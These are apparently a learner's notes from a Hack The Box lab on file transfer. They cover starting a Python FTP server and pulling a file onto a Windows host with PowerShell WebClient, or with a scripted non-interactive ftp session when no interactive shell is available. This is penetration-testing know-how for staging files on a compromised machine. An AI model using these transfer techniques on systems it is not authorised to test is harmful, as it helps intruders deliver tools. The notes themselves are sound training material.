Install the python ftp server module
sudo pip3 install pyftpdlib
Setting up a Python3 FTP Server
(standard for this module is port 2121 but we want it on 21 or 20)
sudo python3 -m pyftpdlib --port 21
Now we can transfer the files using PowerShell
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
Problem we dont have an interactive shell
Workaround:(line by line)
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
- Log in with USER and PASS first.
ftp> USER anonymous
ftp> GET file.txt
ftp> bye
C:\htb>more file.txt
- This is a test file